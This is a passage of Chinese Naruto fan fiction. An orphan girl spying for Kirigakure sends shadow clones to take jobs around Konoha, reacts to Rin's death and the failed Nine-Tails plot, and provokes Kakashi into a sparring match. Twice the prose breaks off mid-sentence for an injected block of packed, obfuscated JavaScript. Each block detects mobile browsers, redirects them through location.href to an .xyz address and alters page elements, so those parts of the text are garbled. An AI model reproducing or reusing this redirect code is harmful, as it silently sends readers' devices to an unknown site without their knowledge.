伴随着四声轻响,凉纪身边又多出四个影分身。 “五个就是极限了。再多的话,无法长时间维持。” 其中一个凉纪影分身对玖辛奈说道:“玖辛奈大人,我们就先去找工作了,您和本体继续练习吧。” 说完,她冲着凉纪微笑了一下,和其他四个影分身下楼了。 这是对我不得不和玖辛奈一起练习幸灾乐祸吗…… 凉纪瞥了分身一眼,看着玖辛奈从包里拿出一个作息表。 “没想到凉纪你不止基础的三身术,其他忍术也学得这么快。那这个学习计划今天就可以用到了。” 她坐到结界球下方的台阶上,拍了拍一旁的空位,示意凉纪坐到她身边。 “上午是文化课和封印术的学习,下午是体术和忍术的学习。我们今天学……” 凉纪看着漩涡玖辛奈的侧脸。她的脸上洋溢着欣喜的笑容。为什么她会这么积极地教导自己,还为此笑逐颜开? 她想起昨晚和自己交谈的千杏。大概她们都是那种因为遇上同胞而欢欣鼓舞,希望多与同胞相处的人。 14. 六等分的凉纪 等到中午,在玖辛奈的强烈要求下,凉纪答应了和她一起吃饭。 “毕竟我是前辈嘛,得多关照后辈。”玖辛奈如此说道。 派出一个影分身去同孤儿院说明情况,玖辛奈带着凉纪来到烤肉Q。 “欢迎光临。里面有空位,请随我来。”一名侍者走出来,朝玖辛奈和凉纪鞠了个躬,指向餐馆的深处。 “怎么是你?”玖辛奈惊呼道。指引她们的侍者,面容给人十分熟悉的感觉。仿佛就是长大成人的凉纪。 时间倒回到几个小时前。 五个凉纪影分身一个接一个地从楼梯上走下来,来到祠堂一楼刻画着族纹的大厅。她们围成一个圈,面对面言简意赅地说起话来。 凉纪一号:“医院护工。” 凉纪二号:“村口导游。” 凉纪三号:“工地小工。” 凉纪四号:“餐馆服务员。” 凉纪五号:“邮局快递员。” 最后,她们异口同声地说道:“不要忘记年龄。” 五道白烟升起,除了二号变成十三四岁的样子,其余人都变化成成年人的模样。因为阳真凛曾经说过,她是玖辛奈的表姐,担心玖辛奈会认出来,凉纪便没有选择妈妈,而是参照爸爸的模样变大。 散—— 五道身影瞬间冲出房门,分散到不同的地方,开始自己的打工生涯。 四号成功应聘成为服务员,一个月的薪资是五千两。比起忍者来说不算高,但和兜的工资相比,不仅高出很多,工作内容也容易得多。 毕竟,成年人比起小孩子,找工作要好找多了。 可惜,兜没可能采用凉纪的方法去应聘。维持变身术一整天需要大量的查克拉,以兜现在的查克拉量,恐怕两个小时查克拉就耗尽了。 四号有些意外本体会同意和玖辛奈一起用餐。这样的话她们之间的关系有可能变得更加亲密。羁绊变深,意味着对方会想要深入了解你的内心。而凉纪的内心并不是什么能光明正大让人看的东西。 但这惊讶只是一闪而逝。四号平静地指引玖辛奈和凉纪来到餐桌旁,翻开菜单:“请问二位想要吃什么?” 漩涡玖辛奈已经通过一致的查克拉判断出面前的大人正是凉纪的影分身,但她还是非常新奇地看着四号:“原来凉纪长大后就是这样的啊。” 四号的脸上带着公式化的微笑:“这是我想象的模样,以后是不是长这样并不确定。不过,比起我的相貌,还是本店的美味佳肴更值得讨论。您需要我给您推荐菜肴吗?” 长大成人的凉纪或许是因为要固守作为服务员的礼仪,让漩涡玖辛奈感到一股礼貌的疏离。当然,现在的凉纪面对玖辛奈也有一种生疏感,但她毕竟是小孩子。 玖辛奈的语气也不由得客气起来:“不用麻烦,我们自己看就好。” 她看着正端坐在对面的凉纪,再看看守在一边的成年凉纪,不由得感觉有些割裂。 这只是乍一看到变大的凉纪,不习惯吧……漩涡玖辛奈收回思绪,朝凉纪问道:“凉纪,你要吃什么?”她又补充了一句:“不用给我省钱哦。” 凉纪把菜单从第一面翻到最后一面,然后问道:“这些肉有什么不同之处吗?” 菜单上有几十种牛、猪、鸡不同部位的烤肉,牛舌、牛里脊、猪颈肉等等等等,看得人眼花缭乱。 “凉纪你以前没吃过,是会不清楚怎么点的说。”漩涡玖辛奈了然地拍了下手,“那就菜单上的全都来一份吧。” 四号微微一愣,然后语气平静地对玖辛奈说道:“没想到您是连菜单都不看的冤大头。” “诶?为什么这么说?”比起四号的话的内容,玖辛奈更惊讶的是,四号突然对自己不客气起来。 这原因没什么复杂的。或许因为是影分身的缘故,四号的思维和情绪比本体要简单直白一些。她只是单纯看不下去而已。 “都点一份的话很难吃完。而且菜单里有像神户牛刺身这样专门用来坑有钱人的菜,比其他所有菜加起来的价格还贵。” “放心,我的食量恐怕比凉纪想象得要高得多。” “今天我……凉纪是客人,或许以客人为主更好。” 玖辛奈微笑起来,对四号说道:“听你的。” 四号毫不犹豫地首先划掉那些因为稀有、评级高而价格高昂的菜肴,然后把剩下的给玖辛奈看:“玖辛奈大人有什么不喜欢的吗?” “我不挑食。凉纪呢?” “我不喜欢价格太高的菜。”四号在剩下的菜肴中,又划掉比起普通肉食来说价格更高的那些。 “那就按凉纪点的来一份吧。” “感谢您选择本店用餐。请稍等片刻。”四号弯腰鞠躬后,去后厨点菜了。 玖辛奈看着四号离去的背影,又转向凉纪:“不知道为什么,看着你们两个,我总感觉好奇怪。” “是因为既请我吃饭,又被我服务吗?”凉纪问。 “也有这个原因吧……” “服务员不能吃客人的菜,影分身也不能吃东西。这是没办法的事。”凉纪认真地说。 凉纪这是在安慰我吗?漩涡玖辛奈想着离开的影分身,看着凉纪,露出了浅浅的微笑。 虽然现在两个人的关系还是有些疏离,但随着时间的推移,这些疏离感都会消除的吧。 - 在餐馆打工的四号遇见了熟人。这或许是凉纪注定的命运。因为其他几个分身也是这样。 当然,更可能的原因是,木叶实在太小了。 木叶医院走廊上,纲手毫不客气地训斥着静音:“你明明知道我没办法做手术,怎么还接下那么多病人给我。” 静音干笑:“昨天您不在,琵琶湖大人这样分配过来,我也不好拒绝。”所以她昨天才拼命去找纲手。可惜找到的时间节点太晚了,没办法拒绝了。 纲手皱着眉头:“现在其他医疗忍者手上的病人都爆满了,想推给其他人也没办法。” 静音苦思冥想着,半晌后说道:“我听野乃宇大人说过,她孤儿院里的兜,尽管才刚刚开始学习医疗忍术,但展现了非同寻常的天赋。” “那就去找他。”纲手斩钉截铁地说。 虽然是静音提出的方案,但她还是忍不住惊讶地叫起来:“兜才只有六岁。” “现在能用的都得用上。” “可我也不知道怎么找他,我又不会感知忍术……” 见纲手没有回话,静音奇怪地看向她,发现她的目光在看着另一个方向。 “那个是凉纪吗?” “凉纪是谁?”静音疑惑地问。昨天纲手并没有和她解释她去玖辛奈那里的缘由,她并不知道凉纪的存在。 “她就是凉纪。”纲手断言道,拉着静音大步走向一个穿着护工制服的女人。 红色妹妹头外加金色瞳孔,还和凉纪容貌相似,一般来说会认为是凉纪的亲戚,但昨天纲手从药师野乃宇那里得知,凉纪全村都被摧毁了。 木叶村总不会无缘无故又多出一个漩涡一族的族人。 “你是凉纪对吧。”纲手朝她说道。 被道破身份,一号也不惊慌,选择来医院的时候,她就做好了遇到熟人的准备。她不慌不忙地朝纲手躬身行礼:“纲手大人您好。” “你变大到医院来做什么?”纲手奇怪地问。 一号镇定自若地解释道:“小孩子能找到的工作太少,我只能变成大人的样子去找工作。至于为什么来这里,是因为医院人手不足,在大量招收护工,待遇也不错,我就过来应聘,幸运的是考上了。” 纲手急躁地说:“这些先不提了,你不是会感知忍术吗,帮我找到兜的位置,再去把他喊过来。” 一号说道:“能为纲手大人办事是我的荣幸,但我需要有一个把兜叫过来的理由。” 纲手对静音说:“你和她解释,我先去查房。”说完,她急匆匆地走了。 这就把我一个人撇在这里了?话说回来,这个凉纪到底是谁呀?静音在心里呐喊。 见一号还等待着她的回答,静音只得有些尴尬地说道:“现在医院病人爆满,人手不足,纲手大人希望兜过来帮忙……”静音的声音越来越低。她还是觉得让一个六岁小孩过来帮忙太奇怪了。 “我明白了。”一号平静地说,“请您和护士长说一下,我并没有旷工。”说完,她瞬间消失在原地。 速度好快……她也是忍者吗?静音疑惑地看向她。 护士长现在应该也在巡视病房……她不再想那么多,匆匆朝病房的方向赶去。 - 在邮局附近的路口相遇的时候,兜和五号都没料到会遇见彼此。 兜往上推了一下滑落到鼻梁上的眼镜,狐疑地仰头打量着五号:“你……是凉纪的亲人吗?” 五号干脆地承认了:“我就是凉纪。” 兜了然:“你是通过变身术变大,这样方便应聘。” 五号:“可惜你不可能使用这个方法。你的查克拉不足以支撑变身术一整天。” 兜的眼镜反射出一道白光:“这可不一定。” 他走到角落,变大后再重新走回五号身前。 五号略一思索也明白了:“你打算通过大人的形象应聘,实际送快递的时候变回小孩子的模样。 “但这有一个风险。如果其他人发现并反馈给邮局,你很可能被开除甚至是遭到索赔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375522|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 兜微笑道:“如果你是因为这次邮局只招一个快递员而劝退我,那你就失算了。这个风险我已经考虑到了,我自己会想办法规避。” “你报童的工作怎么办?” “我会处理好的。” “那就各凭本事吧。”五号说着,率先往邮局门口走去。 兜正准备跟上,却被一号按住了肩膀。 兜转头看到又一个凉纪,瞳孔微微收缩。但他很快反应过来:“影分身?” 一号简单说了句“纲手大人找你”后,就带着兜离开了邮局。 五号微微扬起嘴角:感谢自己帮自己排除竞争对手。她脸带笑意地推开邮局的大门。 - 木叶医院内。 “静音,你去告诉兜具体要做什么。”纲手吩咐道。 一号鞠躬道别:“纲手大人,我就先离开了。” “等一下。”纲手抬手制止,“你会医疗忍术吗?” 一号略带遗憾地说道:“昨天兜有教过我,但也只学了一个时辰。” “那就没办法了。”纲手转头对兜说,“小鬼,我也不是让你白干活。会给你按D级任务的价格补贴你。” 纲手说了一个数。 在兜露出惊喜的表情时,一号面不改色地接着上句话说道:“不过就算时间很短,我还是学会了一点。”她变回6岁的模样,将阳遁的查克拉集中在手掌上。 “勉强还行。知道怎么护理和包扎吗?”纲手点点头问道。 “我是通过了考试才来到医院当护工的。这些基础知识都有考过。”一号说道。 纲手同意让一号也加入。在静音做示范的时候,兜小声问:“考试里有考,但你答对了吗?” 一号没有回答,只是露出神秘的微笑,伸出食指竖在嘴边:“嘘,认真看静音前辈操作吧。” - 木叶村口,二号挤到一辆马车前:“先生,您需要人帮您指路吗?” 车厢门打开下来一个旅人,他粗暴地把围着他的小孩们都赶开:“去去去,别碍着我的路。” 二号并不气馁,只是等着下一辆马车。 村外正在驶来的那辆马车车辙很深,应该行李较重,他会需要一个搬行李的人。自己比起周围的孩子们有查克拉的优势,力气较大,更有可能被选上。二号这样判断着,正准备再次挤上前,身后却传来一个熟悉的声音:“凉纪,没过几天你就长这么大了,人在青春里变化可真是大啊。” 二号回头,看到一个熟悉的粗眉毛,他咧开的嘴角里洁白的牙齿正闪闪发亮。 二号用余光看到马车上的人已经和其他人交涉完毕,没必要再挤上前了。 她朝迈特凯躬身致意:“日安,凯前辈。这只是变身术而已。” 迈特凯摸摸后脑勺,哈哈笑道:“难怪你一下子高出这么多。” 他身边戴着墨镜的忍者往前探头:“没见过的女孩子呢,凯,你在哪里认识的?” 一旁叼着千本的忍者说道:“惠比寿,不要一见女孩子就激动嘛。”他嘴里的千本随着他说话不停上下晃动着。 惠比寿发火道:“不知火玄间!我哪里激动了!” 原来他们是凯前辈的队友,难怪在葬礼的时候首先致辞。 二号说道:“我之前在迈特戴前辈的葬礼上,有见过两位,不过二位可能没注意到我。” 惠比寿:“不可能!如果有女孩子出现我肯定会记得的!” 不知火玄间用手肘撞了一下他:“葬礼的时候你都在想什么啊。”他眯起眼睛看着二号,手也放到了忍具包上:“我记得当时的场景。葬礼上没有你这号人。只有一个和你长得特别像的五六岁的小女孩。” 迈特凯笑道:“凉纪本来就只有6岁……是6岁吧?”他朝凉纪确认。 “是的。今年1月过的6岁生日。” “切……小屁孩而已。”惠比寿一下子变得泄气起来。 “凯前辈是要去出任务吗?”二号问道。 见凉纪不是什么可疑人物,不知火玄间紧绷的神经也放松下来,他把手搁在凯的肩膀上:“丧假毕竟只有5天,时间一过,我们几个又得去忙了。” 迈特凯对凉纪眨了眨右眼:“等我们任务回来后,如果你需要陪练,尽管来找我。” 在惠比寿“你连6岁小女孩都不放过吗”的吐槽声中,三人“唰”地离开村口。 原来忍者还有丧假啊。二号若有所思地看着现在已经空无一人的村口,加入周边报童、导游、拉客大妈的队伍,一起虎视眈眈地准备迎接下一个旅客。 - 只有三号谁也没遇到,老老实实在工地搬了一天的砖。 15. 葬礼 没想到6岁的小孩子还真的能承担起照顾病人的任务,静音看着兜和一号学过一遍就显得十分娴熟的动作感慨。 - 二号带领着第一次来木叶的商人去她推荐的旅馆(当然她已经谈好了推荐费)。 - 三号仍在搬砖。 - “欢迎光临。”四号重复着迎宾的动作。 - 尽管没有兜的竞争,五号还是败了下来,因为应聘者中有一名是有证的下忍。她只能转头去旁边的集英堂应聘店员。 - 不能老是学习自己已经会的东西,太浪费时间了。这样想着,凉纪在测试查克拉属性的时候调整了下,查克拉试纸没有湿,而是从中间劈开。 - 凉纪和五个分身的日子过得十分平静。凉纪知道这是暴风雨来临前的平静,她静静等待着狂风暴雨的袭来。 她没想到的是,暴风雨还没有形成就已经消散了。 一号在医院看到金色闪光和他背着的银发忍者时,在心中思忖,能直接从前线送受伤的学生回村,飞雷神还真是便利呢。 尽管从没亲眼见过这两人,但凉纪曾在玖辛奈房间看到过水门与学生合影,故而这次一号一眼就认出了他们。 还不知道他们是雾隐村计划失败的见证者,所以她只是随意瞥了一眼,就去照顾自己的病人了。 将卡卡西在医院安顿好,再去暗部处理好后续之事,波风水门立即通过飞雷神前往漩涡玖辛奈的所在地。他看到玖辛奈的身边有一个拥有和她相似查克拉的红发小女孩。 如果是平时,他说不定会兴致勃勃地问起小女孩的相关情况,但他今天没这个心情。 玖辛奈停下对凉纪的教学,关切地来到波风水门面前:“水门,你脸色这么不好,是怎么回事?前线战事不利吗?” 波风水门疲惫地说道:“琳牺牲了。” 玖辛奈十分震惊:“琳?具体是怎么回事?” 波风水门看了一眼凉纪。 漩涡玖辛奈会意,对凉纪说道:“凉纪,今天我有事,你自己练习吧。” 凉纪乖巧地点点头,沿着楼梯往下走。 见凉纪已经离开楼顶,波风水门说道:“是雾隐村……他们掳走了琳,把三尾封印到琳的体内,并给她设下符咒,让她无法说出这件事,只能按照符咒的要求回到木叶村。他们希望琳在木叶村大肆破坏。所以……琳在逃离过程中,自己撞到卡卡西的雷切之上。” 这已经是水门失去的第二个学生了。他唯一剩下的学生也要背负着亲手杀死同伴的愧疚和罪孽度过余生。不管水门这么多年来不知经历了多少的离别与失去,杀戮与毁灭,他终究还是不能变成彻底的铁石心肠,他只是把那些哀痛压在心底,几乎不流露在表面。 “水门……”玖辛奈没有说什么。她知道语言在这个时候不起作用。她只是握住了波风水门的双手,试图给他传递温暖与支撑。 半晌,波风水门反握住玖辛奈的手,对她说:“我们去看看卡卡西吧。” - 波风水门以为凉纪已经走远,才说出那番话。但凉纪的听力比一般忍者要好得多。 计划失败了…… 原本雾隐村的计划是,控制三尾人柱力与九尾人柱力对战,竭尽全力重伤漩涡玖辛奈,使木叶村不得不考虑更换人柱力的可能。或者直接杀死玖辛奈,等到数年后九尾重新凝聚,再封印到人柱力容器体内。 如果是在战场上相遇,三尾很难胜过九尾。但偷袭就不好说了。哪怕是九尾人柱力,猝不及防遭遇全力爆发的三尾,想必一时也很难抵挡。 凉纪不知道雾隐村选的新任三尾人柱力是谁,只知道是漩涡玖辛奈的熟人。现在看来,就是金色闪光波风水门的学生琳。 现在这个情况,自己要怎么办? 妈妈应该会希望自己留在木叶村,她希望自己能获得飞雷神,但还不知道雾隐村高层的想法。 只能先按兵不动了。 不过,刚刚听波风水门说,他和玖辛奈老师要去医院看望卡卡西…… 凉纪制造出一个影分身,让她去替换在医院还不知情的一号。 - 波风水门和漩涡玖辛奈出现在卡卡西病床边时,听到门外好奇的声音:“玖辛奈老师,你怎么在这里?” 玖辛奈有些惊讶:“凉纪?”她很快明白过来:“你是她的影分身吧。我听她说有一个影分身在医院这边帮忙。” 新一号点点头:“是的,因为近期云隐村的攻势太过猛烈,医院太多伤员,人手不足,连我也被叫过来帮忙了。” 她体贴地为波风水门和漩涡玖辛奈留下私人空间:“我还要送器材,就不打扰你们了。” 就在这时,卡卡西呻吟着醒了过来。 他看到病床边的两人,用干涩的声音说道:“水门……老师……”他顿住了,似乎不知道说什么才好。 在波风水门刚把卡卡西送到医院的时候,医生已经诊断过,他的伤势不重,因为精神太过紧张外加查克拉耗尽,才会在治疗时再次晕倒。 所以在一号问需不需要叫医护人员过来时,波风水门礼貌地说道:“谢谢,不用了。其他人更需要医疗资源。” 见一号点点头离开,波风水门不再关注凉纪,而是把注意力全都集中在卡卡西身上:“卡卡西,你身体情况还好吧?” 卡卡西平静地说:“这点小伤死不了人。” 波风水门在心底叹了口气,继续说道:“……琳的葬礼在明天下午举行。你会参加吗?” “让杀人凶手去参加受害人的葬礼,可真是个好主意。”卡卡西冷淡地说。 “琳会希望送别的人中有你。不过,到底去不去,还是看你的意思。”波风水门温和地说。见卡卡西偏过头不去看他,他没再说什么,只是握住漩涡玖辛奈的手,用飞雷神消失在病房中。 - 隔着三个病房的一号听到了全过程。没什么有用的情报,一号这样判断。不过,听了卡卡西的话,一号倒有些感同身受。参加迈特戴葬礼的时候,凉纪面上不显,心里却十分复杂。这样的经历,她可不想来第二次。 说起来,葬礼这个词最近在自己生活中出现的频率是不是有些高…… 不,忍村几乎每天都有死人,每天都有葬礼,只是自己之前没有关注罢了,一号心想。 - 隐蔽处,凉纪展开妈妈通过通灵兽传递过来的纸条。 “计划失败,父兄皆丧,明日下葬。暂且按兵不动,静待通知。” - “凉纪,我明天有事,教学暂停一天。”凉纪从漩涡玖辛奈的影分身口中得到了传信。 因为木叶医院实在缺人,在医院的一号被压榨得最狠。等到凉纪吃完晚饭,她才从解开了术的一号的记忆中知道教学暂停的原因。 接收到影分身传来的记忆后,凉纪跳上孤儿院旁树林里一棵榕树的顶端,坐在树杈上,透过层层叠叠的叶片,遥望着狭小天空中微茫的暗星。 往常这个时候,她会和兜对练,或者向药师野乃宇请教一些自己早就知道的问题。可现在,她需要一段单独一个人的时间理清思绪。 明明重要的是想好接下来的行动方针,但凉纪的思维却克制不住地飘向其他地方。 爸爸、哥哥和琳的葬礼正好在同一天。这不是巧合。他们都是同一天因为同一个计划死去的人。 爸爸和哥哥的葬礼,自己肯定是参加不了的。会有谁去呢?凉纪能想到的,只有妈妈和此前见过一面的爸爸的学生枸橘矢仓。毕竟,凉纪和父兄都太过生疏,她甚至至今连哥哥的相貌都不知道,更别说人际关系了。 比起悲伤哀痛,凉纪感到的更多是空茫。她只知道自己失去了什么,但失去…… ——又如何呢? 杀死爸爸的忍者,我要向他复仇吗?凉纪脑海里浮现出这个想法。 她对那个人没有仇恨的情绪,战争中互相杀戮本来就是正常之事。 但复仇是更加理所应当的行为。 凉纪很快决定,如果不影响灭亡雾隐村这个目标的话,有机会她会想办法复仇。 凉纪把思绪拉回到下一步的行动里。她没有沉溺在情绪中的余裕。她需要想好自己在木叶村如何行动,或者用更准确的说法,如何面对漩涡玖辛奈。 凉纪不喜欢参加迈特戴的葬礼。但她更不喜欢的,是和漩涡玖辛奈相处。 玖辛奈是在自己的参与下一步步走向死亡之人。 人要如何面对自己即将杀死之人,还一直保持正常人一般的情绪? 凉纪可以保证自己的面部表情不露破绽,但她无法确定自己的心灵能不露出任何马脚。一瞬的杀意都有可能被玖辛奈发现,从而导向任务的失败。 这些天,她都尽量不在玖辛奈身边想计划的事。虽然紧张感很难克服,但凉纪也极力把它压制到较低的程度,总算勉强撑过了这十几天的相处。 好在自己终于不用再等待玖辛奈的死亡。 既然雾隐村的计划已经失败,很难有其他让九尾人柱力受重伤乃至死亡的机会。九尾夺取计划,已经注定不可能实现。今后,可以用正常的态度和玖辛奈相处。 妈妈应该会想办法游说雾隐村的高层,让自己继续潜伏在木叶村收集情报,从而让自己能够留在木叶,伺机得到飞雷神这个忍术。 通过寻常途 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375523|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 径,想要得到飞雷神,时间至少也是以年为单位。恐怕在木叶村升到上忍以前,自己都不可能接触到这个忍术。 唯一一条捷径,是通过漩涡玖辛奈接触到波风水门,从而加快获得忍术的进程。 那么,自己势必要想办法与漩涡玖辛奈更加亲密。 怎样才能讨人喜欢?凉纪不由得苦恼起来。她只在讨人厌这点上颇有心得。 “凉纪,你今天不练习吗?”正在凉纪思考的时候,她听到下方传来兜的声音。 兜奇怪地看着正坐在树顶的凉纪,不知道她为什么无缘无故地跑那里去。 今天天色不好,月光被乌云掩盖,再加上榕树秋冬并不落叶,凉纪整个人都深埋在枝叶的阴影里。若非她没有隐藏自己的足迹,兜还真不一定能找着她。 凉纪轻盈地从树上跳下,回道:“练习。但在那之前,我有事要请教你。” “什么事?”兜一向很乐意解答旁人的疑问。 “怎样才能让人喜欢自己呢?” 原来是这个。兜还以为是关于忍术的问题。 他想了想说道:“换位思考,坦诚以待。不管怎么伪装隐瞒,都有暴露的一天,而且心不诚的话,大家潜意识里都会感觉到。只有以真心才能换来别人的真心。” 可惜,真心是凉纪最不能展露的东西。 “有没有具体的操作方法?”凉纪重新问道。 “这个因人而异吧。你问题里的那个人是谁方便和我说下吗?” “是玖辛奈老师。” 兜讶异地说:“玖辛奈大人已经很喜欢你了,不然她为什么会天天教你忍术呢?” 这是个好问题。凉纪也曾经奇怪过。 好在她有个室友千杏。 在玖辛奈教授凉纪影分身之术的那天晚上,千杏欣喜地对凉纪说道:“还好玖辛奈大人有这个忍术,这样你就既能帮孤儿院分担,也能在玖辛奈大人那里学习了。” 当时,凉纪很是苦恼需要一直待在玖辛奈眼皮底下,因此她很有技巧地对千杏说道:“我也很高兴能继续跟随玖辛奈大人学习,就是担心玖辛奈大人没几天就厌烦了我。” 在凉纪看来,千杏和玖辛奈是非常相似的人,她应该能一定程度上知道为什么玖辛奈想要一直教授自己。 果不其然,千杏惊呼道:“怎么可能,玖辛奈大人会一直教下去的。” “是因为已经答应了我,不好反悔吗?” “不是这个原因啦。” “我总觉得自己在给玖辛奈大人添麻烦。” “不会是麻烦的。如果是我,我只会高兴自己能与族人多相处。” 凉纪问出自己想问的问题:“为什么会高兴呢?” 千杏反而奇怪凉纪会问这个问题:“当然会高兴啊!你可是她仅存的同胞了。而且……” 她忸怩了一会儿说道:“而且凉纪是个很可爱的女孩子,就算没有那个原因,在一起心情也会变好。” 虽然凉纪平时话不多,但每次千杏漫无目的地和她说些什么时,她都会认真聆听,并想办法回应。希望她帮忙的时候,她从没推脱过。而且她还很厉害,居然能把500圈跑下来。 对于千杏来说,这些已经足以让她喜欢上。 听了千杏的话,凉纪总算明白了。 原来千杏和玖辛奈都是颜控。 爸爸第一次见自己的时候也夸自己可爱。看来虽然自己的样貌在部分人群里不受欢迎,但也有喜欢自己脸的人。 如果突然毁容,那就太奇怪了,所以凉纪只能放弃逃离玖辛奈身边的想法,而是转而考虑在她身边存活的可能。 也正是从那时起,凉纪开始改口叫玖辛奈老师。 凉纪回答兜说:“我问过千杏,她说是因为我长得可爱。” 千杏居然是这么回答的吗……兜不由得哑然。虽然凉纪确实长得很可爱。他只能说:“不只是这个原因吧。” 兜提供了一个视角:“凉纪你学习忍术非常快,对于老师来说,教这样的学生是很有成就感的。” “原来如此。”凉纪若有所思地点点头。 “如果凉纪你想和玖辛奈大人的关系更进一步,可以多帮帮她的忙。如果玖辛奈大人不需要你帮忙的话,也可以送她一份礼物。”兜提议。 这是个好办法。对妈妈来说,最令她高兴的事是凉纪帮助她复仇,这和兜的话是一样的原理。人总是会喜欢上为自己付出的人。凉纪想不出玖辛奈有什么需要自己帮忙的地方,那就送她一份礼物吧。 凉纪以前没有送过别人礼物,其他人没有送的必要,妈妈那边自己变强就是最好的礼物。 具体送什么礼物,得好好想一想了。 16. 真相是柄伤人的快刀 野原琳葬礼的第二天,凉纪照常来到漩涡一族的祠堂,却发现这个地方除了漩涡玖辛奈和两个暗部之外,又多出了一个人。 旗木卡卡西,间接让九尾夺取计划失败的人,前天凉纪的一号影分身在医院里见过他。 不过理论上,凉纪不认识他。 于是,凉纪礼貌地问道:“玖辛奈老师,方便给我介绍一下这位先生吗?” “这是旗木卡卡西,水门的弟子,之前一直在战场上,所以你们还没有见过面。” “其实也算见过。前天我在医院里看到他了,不过他应该没有注意到我。” 凉纪朝卡卡西鞠了一躬:“卡卡西前辈,以后还请多多关照。” 卡卡西随意地朝凉纪点点头,转而向玖辛奈说道:“怎么,今天专门叫我过来,是叫我一起带小孩吗?” 玖辛奈讪笑着说:“不是啦,你在这里随便怎么活动都可以。” 卡卡西听了朝门外走去:“没事的话我就回去了。放心,我就算一个人待在房间里也不会随便死掉的。” 这可说不准…… 前天晚上卡卡西出院的时候,波风水门给他带了一份晚饭。昨天下午琳的葬礼,卡卡西没有参加,波风水门还有玖辛奈出于担心过去查看,发现卡卡西衣服还是前一天的那套,躺在床上死气沉沉地看着天花板,而晚饭放在桌上一动未动。 因为战事吃紧,波风水门把卡卡西拎起来吃了顿晚饭后,就直接出发去前线了,只能在临行前拜托玖辛奈多照看一下卡卡西。 玖辛奈担心卡卡西单独一个人待着,会深陷自怨自艾的情绪无法自拔,干脆把他叫到眼皮底下。至少,有其他人在的话,他不会一直沉溺在过去的惨剧里。 见卡卡西就要离开,玖辛奈连忙从后面按住他的肩膀:“嗯……还是有事需要你帮忙的。忍者毕竟是战斗职业,凉纪也需要多体验一下忍者之间的对战。总是我和凉纪练习太单一了,今天就拜托你和她对练。她还没有上忍者学校,下手别太狠。” 与此同时,玖辛奈无声地用口型朝凉纪说道:“留住他。” 凉纪微不可察地点点头,走到卡卡西面前:“卡卡西前辈,今天还请您多指教。” 卡卡西倒不会因为凉纪年纪小就轻视她,毕竟他在凉纪这个年龄已经是中忍了。 但他仍认为没这个必要,他听得出来玖辛奈不过是随便找个理由想把他留下来。 “这个年龄还是多练习下基本功吧。”他用手在凉纪的头顶比划了一下——凉纪的头顶才刚到他胸口。 唉,卡卡西听得出来是借口,估计他是不会留下了。不过,看卡卡西现在的样子,好歹还有点活人气,放他回去也没关系吧。玖辛奈这样想着,正准备开口,凉纪却先一步行动了。 玖辛奈老师想要自己帮忙做的事,可不能轻易就让它失败。 这个时候,是要用激将法的吧? “写轮眼的卡卡西,虽然直到玖辛奈老师介绍,我才认识你,但在这之前,我也听说过你的威名。”为了避免卡卡西把手放在自己的头上,凉纪后退一步,盯着卡卡西的眼睛说道。 听到“写轮眼”这个词,卡卡西面色一暗。他按住遮住左眼的护额,沉声道:“所以呢?” “所以我觉得你配不上这个名号。像你这样的大人物,应该随手一击就能击败我。但你拒绝,是担心不使用写轮眼的话,哪怕和我这样的小孩子战斗,都要花很长时间,甚至是失败吧?你害怕暴露出自己的名不副实。” 凉纪不知道卡卡西写轮眼的来历,但她意外正中靶心。哪怕知道凉纪是在激将自己,卡卡西还是感到一股怒火打破了死水一般的心境,直冲头顶。 “既然你这么说,我再拒绝的话,就是真的名不副实了。”卡卡西微微眯起右眼,“就在这里直接比吧。” “把建筑物打坏了就不好了。最近的练习场离这里不远,去那里吧。” 卡卡西冷淡地说:“走吧。” 因为现在是忍者学校上课时间,毕业的忍者又大多上前线去了,所以练习场空无一人。 卡卡西和凉纪面对面站定。漩涡玖辛奈在练习场外看着他们两。 玖辛奈毫不怀疑最终是卡卡西的胜利。但如果卡卡西太过生气而失去谨慎,那他很难速战速决。 见二人结起对立之印,玖辛奈宣布道:“开始!” 玖辛奈话音刚落,凉纪就分出三个影分身,从不同方向用瞬身之术冲向旗木卡卡西。因为脚上凝结的查克拉量过大,土地都被她的脚踩出裂痕,在她冲出的时候扬起土块与尘土,散向四面八方。 以她这个年纪,瞬身之术已经算快的了。但年龄太小的肉.体,实在是个太大的硬伤。卡卡西这样判断,直接从影分身之间的空隙穿过,来到本体的后方。 凉纪毕竟只分出三个影分身,在一开始锁定本体并不难。 卡卡西伸出右手,准备给凉纪一记手刀。 这就结束了吗? 突然,卡卡西猛然往右一跃。 在他身后,不知何时又出现了一个凉纪的影分身。她正高举苦无,准备刺向卡卡西的脖子。 她分出的不是三个,而是四个影分身。第四个影分身趁着扬起尘土的那一瞬间,变成土块隐藏在凉纪本体的身后。 卡卡西跃离时,另外三个影分身正飞速结印,[戊-辰]-双手一拍——【风遁·烈风掌!】 狂暴的烈风朝卡卡西袭来,其中裹挟着凉纪本体射出的手里剑。 【风遁·烈风掌】在与手里剑或者苦无等飞行道具联合使用的时候,无论是空中飞行的速度,还是击中目标时的威力,都会大幅提升,让杀伤力成倍上升。 面对凉纪的进攻,卡卡西双手一拍,从地面升起一道高高的雕着狗头的土墙,挡住了凉纪的风遁。 